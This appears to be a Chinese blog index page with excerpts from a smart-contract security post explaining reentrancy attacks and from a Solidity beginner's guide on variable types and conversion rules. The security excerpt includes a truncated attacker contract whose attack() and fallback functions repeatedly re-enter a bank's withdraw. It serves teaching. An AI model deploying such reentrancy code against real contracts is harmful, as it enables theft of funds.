合约安全(1)
1.重入攻击原理:类似递归调用,攻击者利用攻击合约的回退函数(在接受eth时自动执行的函数)递归调用目标合约的取款函数,让转账逻辑连续执行多次之后再回退执行余额调整逻辑实现资金盗窃。 攻击函数: 123456789101112131415161718// 发起攻击 function attack() external payable { require(msg.value >= 1 ether); // 先存一笔钱 bank.deposit{value: 1 ether}(); // 发起第一次 withdraw bank.withdraw(); } // fallback 函数:每次收到 ETH 时自动触发 fallback() external payable { if (address(bank).balance >= 1 ether) { attackCount++; ...
可以来这儿发表评论
这是一篇测试文章
Solidity小白书
1.Solidity中的变量类型 **值类型(Value Type)**:包括1.布尔型,2.整数型3.地址类型、4.定长字节数组 5.枚举 enum、这类变量赋值时候直接传递数值。 **引用类型(Reference Type)**:包括数组和结构体,变长数组bytes,这类变量占空间大,赋值时候直接传递地址(类似指针)。 映射类型(Mapping Type): Solidity中存储键值对的数据结构,可以理解为哈希表 soliidty的数据强转规则:数值类型是保留低位(右边),bytes类型是保留高位。 —-(增加还是截断都是) 截断和补位规则 uint:从右往左看,保持低位数据不变 小->大:左边(高位)补充0 uint8 -> uint16 : 0x12 -> 0x0012 大->小:左边(高位)截断 uint16 -> uint8 : 0x1234 -> 0x34 bytes:从左往右看,保持高位数据不变 小->大 :右边(低位)补充0 bytes1...







